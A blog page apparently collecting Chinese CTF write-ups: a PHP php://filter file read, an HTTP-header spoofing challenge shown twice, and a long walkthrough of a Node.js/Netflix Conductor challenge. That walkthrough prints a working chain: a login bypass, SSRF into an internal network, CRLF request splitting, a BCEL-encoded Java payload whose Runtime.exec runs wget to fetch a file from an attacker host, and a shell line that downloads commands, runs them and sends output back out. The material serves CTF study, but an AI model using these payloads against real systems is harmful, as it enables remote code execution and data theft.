Yunoon 发布的文章

先用BP抓下包,发现敏感php文件./Archive_room.php

访问http://2c3ee119-35cd-4566-9b5f-58057f82ff2a.node3.buuoj.cn/Archive_room.php 该文件

然后通过BP查看到action.php里的内容

访问 secr3t.php,拿到该目录下的php文件

对代码进行审计,发现调用了下面几个函数

  • highlight_file: 对文本进行高亮处理
  • error_reporting(0): 不抛出异常
  • strstr: 查找字符串的首次出现
  • stristr: strstr() 函数的忽略大小写版本

无法进行目录穿越 和 php://input 调用系统命令

使用php://filter 协议 进行绕过

构建URL

?file=php://filter/read=convert.base64-encode/resource=flag.php

然后解密即可

前言

先附上成果图拿到Flag那一刻太激动了!!!

好了,话说回来。这次的题目的2021虎符CTF的Web最后一道零解题,能够根据大佬的WriteUP成功将漏洞复现,并且学到其中的知识点,自己已经收获了很多了。
在这里再一次感谢@Glzjin,赵总yyds!!!

知识点

  • NodeJs 代码审计
  • NodeJs 弱类型
  • NodeJs8 http库请求拆分漏洞
  • SSRF
  • Netflix Conductor 1day
  • Java BCEL 编码

操作步骤

  1. 加入后查看源码.


    找到注释 /source,访问后得到源码
  2. 开始审计

    const express = require('express')
    const router = express.Router()
    const axios = require('axios')
    const isIp = require('is-ip')
    const IP = require('ip')
    const UrlParse = require('url-parse')
    const {sha256, hint} = require('./utils')
    const salt = 'nooooooooodejssssssssss8_issssss_beeeeest' //得到提示版本为nodejs8
    const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) //将2个admin先进行一次sha256编码后拼接再编码一次
    const port = process.env.PORT || 3000 // 开放端口为3000或环境变量里的端口
    function formatResopnse(response) {
    if(typeof(response) !== typeof('')) {
    return JSON.stringify(response)
    } else {
    return response
    }
    }
    function SSRF_WAF(url) { //判断是否为内网地址
    const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
    return isIp(host) && IP.isPublic(host)
    }
    function FLAG_WAF(url) { //判断路径是否为/flag
    const pathname = new UrlParse(url).pathname
    return !pathname.startsWith('/flag')
    }
    function OTHER_WAF(url) {
    return true;
    }
    const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
    router.get('/', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) { //判断admin_session是否存在
    res.redirect('/login')
    } else {
    res.redirect('/index')
    }
    })
    router.get('/login', (req, res, next) => {
    const {username, password} = req.query;
    if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
    res.render('login')
    } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
    req.session.admin = hash === adminHash
    res.redirect('/index')
    }
    })
    router.get('/index', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {//检测session
    res.redirect('/login')
    } else {
    res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())}) //渲染网卡信息
    }
    })
    router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) { //需要获取到admir的session
    return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);
    console.log(url)
    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
    if(!status) {
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
    try {
    const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
    res.render('base', response.data)
    } catch(error) {
    res.render('base', error.message)
    }
    }
    })
    router.post('/proxy', async(req, res, next) => { //注释里写到是测试接口,用不上
    if(!req.session.admin) {
    return res.redirect('/index')
    }
    // test url
    // not implemented here
    const url = "https://postman-echo.com/post"
    await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
    res.render('base', "Something needs to be implemented")
    })
    router.all('/search', async (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){//只允许127.0.0.1进行访问
    return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
    }
    //可以发现这里没有对url进行WAF,因此存在可利用对SSRF
    const result = {title: 'Search Success', content: ''}
    const method = req.method.toLowerCase()
    const url = decodeURI(req.query.url)
    const data = req.body
    try {
    if(method == 'get') {
    const response = await axios.get(url)
    result.content = formatResopnse(response.data)
    } else if(method == 'post') {
    const response = await axios.post(url, data)
    result.content = formatResopnse(response.data)
    } else {
    result.title = 'Error'
    result.content = 'Unsupported Method'
    }
    } catch(error) {
    result.title = 'Error'
    result.content = error.message
    }
    return res.json(result)
    })
    router.get('/source', (req, res, next)=>{
    res.sendFile( __dirname + "/" + "index.js");
    })
    router.get('/flag', (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){//判断是否为本地请求
    return res.send({title: 'Error', content: 'No Flag For You!'})
    }
    return res.json({hint: hint})
    })
    module.exports = router
  3. 我们可以返回到首页进行登陆,这里调用的是登陆接口

    router.get('/login', (req, res, next) => {
      const {username, password} = req.query;
    if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
    res.render('login')
    } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
    req.session.admin = hash === adminHash
    res.redirect('/index')
    }
    })

    他是将接受到的username与password进行加密然后拼接并与admin/admin进行比较,判断是否能够登陆。但在此之前会对输入进行一次过滤,当出现以下情况都会被拦截

    1. 空输入
    2. 内容相同
    3. 长度相同
    4. username的内容为['admin']

    这里就需要进行绕过,可以做一个测试

    发现当string与list类型想拼接时会直接转化为string,并且类型不相同,长度不同,因此可以绕过
    最后绕过的payload[ /login?username[]=admin&password=admin ]

    登陆成功后就可以查看到网卡信息

  4. 接下来就是第二个接口

    router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) { //需要获取到admir的session
    return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);
    console.log(url)
    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
    if(!status) {
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
    try {
    const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
    res.render('base', response.data)
    } catch(error) {
    res.render('base', error.message)
    }
    }
    })

    这个接口会调用前会判断session是否为admin,并且将请求的url放入WAF中进行过滤
    就好比
    这里可以尝试http://0.0.0.0:3000


    • 0.0.0.0:3000指的是该设备上所有开放的3000的端口


    不出意外的成功了

  5. 由于search接口并没有设置WAF,只设置了仅限本地访问,我们可以直接调用/search接口访问/flag
    Payload为 http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag

    得到提示,内网中有一台设备开了 netflix conductor server 这里就需要去找Netflix conductor 的漏洞,并且找到开设服务的设备.

  6. 从得到的网卡信息得知,10.0.203.9这个格式是docker的默认网卡格式,我们就开始上手利用SSRF查找
    并且通过查阅官方文档发现服务开放于8080端口 https://github.com/Netflix/conductor/blob/dev/client/python/kitchensink_workers.py

    
    from __future__ import print_function
    from conductor.ConductorWorker import ConductorWorker,TaskStatus
    def execute(task):
    return ConductorWorker.task_result(
    status=TaskStatus.COMPLETED,
    output= {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0},
    logs=['one','two']
    )
    def execute4(task):
    forkTasks = [{"name": "task_1", "taskReferenceName": "task_1_1", "type": "SIMPLE"},{"name": "sub_workflow_4", "taskReferenceName": "wf_dyn", "type": "SUB_WORKFLOW", "subWorkflowParam": {"name": "sub_flow_1"}}];
    input = {'task_1_1': {}, 'wf_dyn': {}}
    return {'status': 'COMPLETED', 'output': {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0, 'dynamicTasks': forkTasks, 'inputs': input}, 'logs': ['one','two']}
    def main():
    print('Starting Kitchensink workflows')
    cc = ConductorWorker('http://localhost:8080/api', 1, 0.1)
    for x in range(1, 30):
    if(x == 4):
    cc.start('task_{0}'.format(x), execute4, False)
    else:
    cc.start('task_{0}'.format(x), execute, False)
    cc.start('task_30', execute, True)
    if __name__ == '__main__':
    main()

    http://0.0.0.0:3000/search?url=http://10.0.203.10:8080
    一直查到
    http://0.0.0.0:3000/search?url=http://10.0.203.14:8080
    得到信息

  7. 将拿到的信息转码后得到以下代码

    <!DOCTYPE html>\n
    <html>\n
    <head>\n
    <meta charset=\ "UTF-8\">\n
    <title>Swagger UI</title>\n
    <link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-32x32.png\" sizes=\ "32x32\" />\n
    <link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-16x16.png\" sizes=\ "16x16\" />\n
    <link href='css/typography.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/reset.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/screen.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/reset.css' media='print' rel='stylesheet' type='text/css' />\n
    <link href='css/print.css' media='print' rel='stylesheet' type='text/css' />\n\n
    <script src='lib/object-assign-pollyfill.js' type='text/javascript'></script>\n
    <script src='lib/jquery-1.8.0.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.slideto.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.wiggle.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.ba-bbq.min.js' type='text/javascript'></script>\n
    <script src='lib/handlebars-4.0.5.js' type='text/javascript'></script>\n
    <script src='lib/lodash.min.js' type='text/javascript'></script>\n
    <script src='lib/backbone-min.js' type='text/javascript'></script>\n
    <script src='swagger-ui.js' type='text/javascript'></script>\n
    <script src='lib/highlight.9.1.0.pack.js' type='text/javascript'></script>\n
    <script src='lib/highlight.9.1.0.pack_extended.js' type='text/javascript'></script>\n
    <script src='lib/jsoneditor.min.js' type='text/javascript'></script>\n
    <script src='lib/marked.js' type='text/javascript'></script>\n
    <script src='lib/swagger-oauth.js' type='text/javascript'></script>\n\n
    <!-- Some basic translations -->\n
    <!-- <script src='lang/translator.js' type='text/javascript'></script> -->\n
    <!-- <script src='lang/ru.js' type='text/javascript'></script> -->\n
    <!-- <script src='lang/en.js' type='text/javascript'></script> -->\n\n
    <script type=\ "text/javascript\">\n $(function() {\n\n
    var url = window.location.search.match(/url=([^&]+)/); //http://127.0.0.1:8080/?url=127.0.0.1:8080\n if (url && url.length > 1) {\n url = decodeURIComponent(url[1]);\n\n if (!url.includes('://')) {\n url = `http://${url}`;\n }\n } else {\n url = window.location.origin;\n }\n\n hljs.configure({\n highlightSizeThreshold: 5000\n });\n\n // Pre load translate...\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n window.swaggerUi = new SwaggerUi({\n url: url + \"/api/swagger.json\",\n dom_id: \"swagger-ui-container\",\n supportedSubmitMethods: ['get', 'post', 'put', 'delete', 'patch'],\n onComplete: function(swaggerApi, swaggerUi){\n window.swaggerUi.api.setBasePath(\"/api\");\n if(typeof initOAuth == \"function\") {\n initOAuth({\n clientId: \"your-client-id\",\n clientSecret: \"your-client-secret-if-required\",\n realm: \"your-realms\",\n appName: \"your-app-name\",\n scopeSeparator: \" \",\n additionalQueryStringParams: {}\n });\n }\n\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n },\n onFailure: function(data) {\n log(\"Unable to Load SwaggerUI\");\n },\n docExpansion: \"none\",\n jsonEditor: false,\n defaultModelRendering: 'schema',\n showRequestHeaders: false\n });\n\n window.swaggerUi.load();\n\n function log() {\n if ('console' in window) {\n console.log.apply(console, arguments);\n }\n }\n });\n\n
    </script>\n</head>\n\n
    <body class=\ "swagger-section\">\n
    <div id='header'>\n
    <div class=\ "swagger-ui-wrap\">\n
    <a id=\ "logo\" href=\ "http://swagger.io\">
    <img class=\ "logo__img\" alt=\ "swagger\" height=\ "30\" width=\ "30\" src=\ "images/logo_small.png\" />
    <span class=\ "logo__title\">swagger</span></a>\n
    <form id='api_selector'>\n
    <div class='input'>
    <input placeholder=\ "http://example.com/api\" id=\ "input_baseUrl\" name=\ "baseUrl\" type=\ "text\"/></div>\n
    <div id='auth_container'></div>\n
    <div class='input'>
    <a id=\ "explore\" class=\ "header__btn\" href=\ "#\" data-sw-translate>Explore</a></div>\n</form>\n</div>\n</div>\n\n
    <div id=\ "message-bar\" class=\ "swagger-ui-wrap\" data-sw-translate>&nbsp;</div>\n
    <div id=\ "swagger-ui-container\" class=\ "swagger-ui-wrap\"></div>\n</body>\n
    </html>\n

    我们可以在源码里的script中找到关键json文件 /api/swagger.json
    然后构建url访问
    获取到的就是接口文件

    找到路径 /api/admin/config 这里的api接口都是api/下的子接口因此需要加上/api
    打进去看看

    得到了版本信息2.26.0-SNAPSHOT

  8. 找到了一个漏洞 https://xz.aliyun.com/t/7889 目前只有这一个洞,就先试试能不能用.
    虽然官方说的影响版本是 <= v2.25.3
    https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md

  9. 开搞


    1. 首先构造恶意的REC

      public class Evil
      {
      public Evil() {
      try {
      Runtime.getRuntime().exec("wget http://[public_ip]:[port] -O /tmp/yunoon"); //这里也可以使用赵总的http://172.247.76.183:9998
      }
      catch (Exception ex) {
      ex.printStackTrace();
      }
      }
      public static void main(final String[] array) {
      }
      }
    2. 对java程序进行编译
      $ javac Evil.java

    3. 使用BCELCodeman.jar 将编译好的class文件转换为BCEL字符 工具GitHub地址
      java -jar BCELCodeman.jar e Evil.class

      如果输出的结果是一小段字符的话请检查你的Java版本也许他并不适合这个工具
      我这里使用的版本为jdk1.8.0_211.jdk
      export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_211.jdk/Contents/Home/

    4. 这里需要注意的是,由于接口proxy只提供了Get请求并没有Post请求[ 有,但不能用:) ],
      可以再重新看下源码

      router.get('/proxy', async(req, res, next) => {
        if(!req.session.admin) { //需要获取到admir的session
      return res.redirect('/index')
      }
      const url = decodeURI(req.query.url);
      console.log(url)
      const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
      if(!status) {
      res.render('base', {title: 'WAF', content: "Here is the waf..."})
      } else {
      try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
      res.render('base', response.data)
      } catch(error) {
      res.render('base', error.message)
      }
      }
      })

      这里的axios的http协议 使用的是NodeJs的http库来实现的,我们可以利用nodejs8中的请求拆分漏洞( https://www.cvedetails.com/cve/CVE-2018-12116/ )来构造Post请求

      NodeJS8中的请求拆分漏洞的关键就在于,平常我们的unicode是\u{00XX},漏洞利用就变成了\u{01XX}

    5. 写一个脚本将输出的内容放入变量a中

      a = '$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$k$85$K$f2$S$U$7c$81$$$EMd$e3$O$e3$c6$e0$K$l$R$a2$L7$96$3a$a9$83$d06e$m$c4$lr$cd$G$8d$L$3f$c0$8fR$ef4FLt$929w$ee$b9g$ce$9d$c7$fb$c7$eb$h$80$Dl$h$88a$c9$40$k$85$Y$96U$5c$d1Q4$QAI$c7$aa$8e5$86$e8$a1p$84$3cb$IUkW$M$e1c$f7$8e3$a4Z$c2$e1g$a3A$97$fb$j$b3$db$t$s$d9$96$a6$f5pjzA$k$ec$$$92$7c$60$K$87$a1P$bdi$f5$cc$b1Y$ef$9b$8e$5doK_8vC$d9$Zmw$e4$5b$fcD$u$8bxs$y$fa$fbJ$97$40$i$86$8e$f5$E6$b0$c9$b08$bc$_$d7$e5$c0$ab$db$fd$c7$9ep$S$u$a3$c2$90$9b$3b6$t$W$f7$a4p$a9$b4$F$83$da$w$t$86$f4$5cq$de$edqK2d$e6$d4$e5$c8$91b$40$7d$N$9b$cb$9f$q_$ad$b5$feh$gd$c9$t$dcb$d8$a9$fes$91_$d4$85$efZ$7c8$a4$N$v$8f$8a2x$95$8eoZ$i$V$e8$f4$dajh$60$ea$82$84$L$94$ddR$aeQ$y$ec$3e$83$bd$40$cb$86f$I_$3f$n$d6$da$9b$n$3a$rU$YI$a4$e9S4$qHWB$940Dl$84$f88Utd$c89O$8eI$aa$a4$a1$7d$S0$j$8b$KR$e1$40$93$f9$eeV$a4$c9$d4$9c$G$Le$Y$N$88$qa68$5c$ee$L$VXu$96$m$C$A$A'
      post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}'+a+'\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
      console.log(encodeURI(
      encodeURI(
      encodeURI(
      'http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.218.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
    6. 注意要更改目标机的IP地址,然后运行出我们最终的Payload
      node code.js

    7. 在请求之前我们还需要把服务器上的漏洞执行做好
      main.py, FastAPI服务框架

      from fastapi import Depends, FastAPI
      from fastapi.responses import FileResponse
      app = FastAPI(docs_url=None, redoc_url=None)
      @app.get("/")
      def return_passwd_file():
      file_like = "test1.txt"
      file_path = open(file_like, mode="rb")
      return FileResponse(file_like)
      @app.get("/command1.txt")
      def return_passwd_file1():
      file_like = "command.txt"
      file_path = open(file_like, mode="rb")
      return FileResponse(file_like)
      if __name__ == '__main__':
      import uvicorn
      uvicorn.run(app='main:app', host='0.0.0.0', port=20000, reload=True, debug=True)

      test1.txt 用来显示回显

      #!/bin/sh
      wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
      

      command1.txt 命令执行

      cat /flag
      

      RUN !!!

      测试成功

  10. 最后我们需要将以前的Evil.java文件进行更改,使其执行目标服务器上的命令
    因为我们上一个执行命令是

    wget http://[public_ip]:[port] -O /tmp/yunoon
    

    目前在/temp下就有一个yunoon的文件,他的内容为我们写入在test1.txt中的内容

    #!/bin/sh
    wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
    

    注: public_ip与port需要更改为自己的公网ip与端口

  11. 最后再生产一个执行命令为sh /tmp/yunoon的class文件,重复9中的步骤,打过去

    将URL中回显的Base64内容解密就可以拿到Flag


    总结


    这次复现花了2天,但收获颇丰.第一天做题,第二天写WriteUP,写WP的时候对这个漏洞的理解更深刻了,同时也学会了使用公网服务器来执行命令.
    最后再归纳一下流程:


    1. 利用NodeJS弱类型username[]=admin进行登陆获取管理员Session
    2. 绕过127.0.0.1的WAF从而进行SSRF,调用/search接口获取到/flag拿到hint
    3. 利用SSRF扫描内网,获取到目标服务器地址
    4. 通过服务器的回显,知道swagger.json文件获取到/api/admin/config下的系统版本
    5. 利用4获取到的系统版本,知道Netflix Conductor的漏洞拿到Payload
    6. 构建恶意java程序,编译后使用BCELCodeman工具将class文件转换为BCEL字符
    7. 利用NodeJS8中的http库请求拆分漏洞,构建POST请求
    8. 编写脚本将请求转为URIencode的格式,然后通过/search接口发送请求,从而执行命令

先抓个包看看

发现当前服务器的版本为Apache/2.2.15 (CentOS),于是便去查了该版本的漏洞

然后通过分析源码发现可以直接查看文件目录

查看了这些目录中的内容并没有发现敏感文件,由于我是条懒狗,没有去利用另外的漏洞,查阅了别人的writeup发现在网页首页源码中就有敏感php文件

访问后发现需要添加请求头

添加第一个请求头 Referer

然后他报出需要“Syclover”浏览器


那我们就添加第二个请求头User-Agent

哪知道他又报出需要通过本地访问,这里我就卡了。

通过查阅文档发现可以添加X-Forwarded-For可以伪造本地访问

这这里添加第三个请求头X-Forworded-For

最后成功拿到flag

下面进行这道题的技术总结

  1. 考察了对敏感文件名和敏感字段名对查找
  2. 对HTTP请求头的了解
  3. Referer: 来源页面,访问该页面的前一个页面
  4. User-Agent:浏览器名称常见的如谷歌浏览器(Chrome),火狐浏览器(FireFox),Safari浏览器都有对应的浏览器请求头
  5. X-Forwarded-For:一个事实标准 ,用于标识某个通过超文本传输协议代理或负载均衡连接到某个网页服务器的客户端的原始互联网地址(Wiki百科 HTTP 头字段)

先抓个包看看

https://i0.hdslb.com/bfs/article/0577324bc2c5d9ae61125f65a6c0f458e688882b.png

https://i0.hdslb.com/bfs/article/bf3cec32dc7b29cdf1ed76f51628cffd73ef264a.png

发现当前服务器的版本为Apache/2.2.15 (CentOS),于是便去查了该版本的漏洞

https://i0.hdslb.com/bfs/article/e0865d88d7d903199e8cd7020a41d5fbfc0a8910.png

https://i0.hdslb.com/bfs/article/222ae74f603df623c1c27e17041913310175bdc7.png

然后通过分析源码发现可以直接查看文件目录

https://i0.hdslb.com/bfs/article/4ee7af721b9110e9c7b617da8c4dd57c8703d374.png

https://i0.hdslb.com/bfs/article/b080cd1d1e07bfe4dab1294475589c6ade5ec332.png

查看了这些目录中的内容并没有发现敏感文件,由于我是条懒狗,没有去利用另外的漏洞,查阅了别人的writeup发现在网页首页源码中就有敏感php文件

https://i0.hdslb.com/bfs/article/9a8b4c012364c196ec482ef224bf8cfd94a53a9d.png

访问后发现需要添加请求头

https://i0.hdslb.com/bfs/article/c17eda263b0222c78c305eaea9197dea2895c6b9.png

https://i0.hdslb.com/bfs/article/f96a59e74505e27dd32bb577669e4df7f877a9f5.png

添加第一个请求头 Referer

然后他报出需要“Syclover”浏览器

https://i0.hdslb.com/bfs/article/932bc89de3ded151671becede01938e7600e6643.png

https://i0.hdslb.com/bfs/article/da4413f3fe2234f53a24828e36e26ec597f27706.png

那我们就添加第二个请求头User-Agent

哪知道他又报出需要通过本地访问,这里我就卡了。

通过查阅文档发现可以添加X-Forwarded-For可以伪造本地访问

https://i0.hdslb.com/bfs/article/d65fcb895280a37efc077ce76ff84a5e4438d9dd.png

https://i0.hdslb.com/bfs/article/48aa10f14145688fd32235dad96b4686cff97411.png

https://i0.hdslb.com/bfs/article/8700539c12c172cd77994e264808ea52fef9cc09.png

这这里添加第三个请求头X-Forworded-For

最后成功拿到flag

https://i0.hdslb.com/bfs/article/7e384546ef1f2e8f5fe936b3824aaf5d79424027.png

https://i0.hdslb.com/bfs/article/02db465212d3c374a43c60fa2625cc1caeaab796.png

下面进行这道题的技术总结

  1. 考察了对敏感文件名和敏感字段名对查找
  2. 对HTTP请求头的了解
  3. Referer: 来源页面,访问该页面的前一个页面
  4. User-Agent:浏览器名称常见的如谷歌浏览器(Chrome),火狐浏览器(FireFox),Safari浏览器都有对应的浏览器请求头
  5. X-Forwarded-For:一个事实标准 ,用于标识某个通过超文本传输协议代理或负载均衡连接到某个网页服务器的客户端的原始互联网地址(Wiki百科 HTTP 头字段)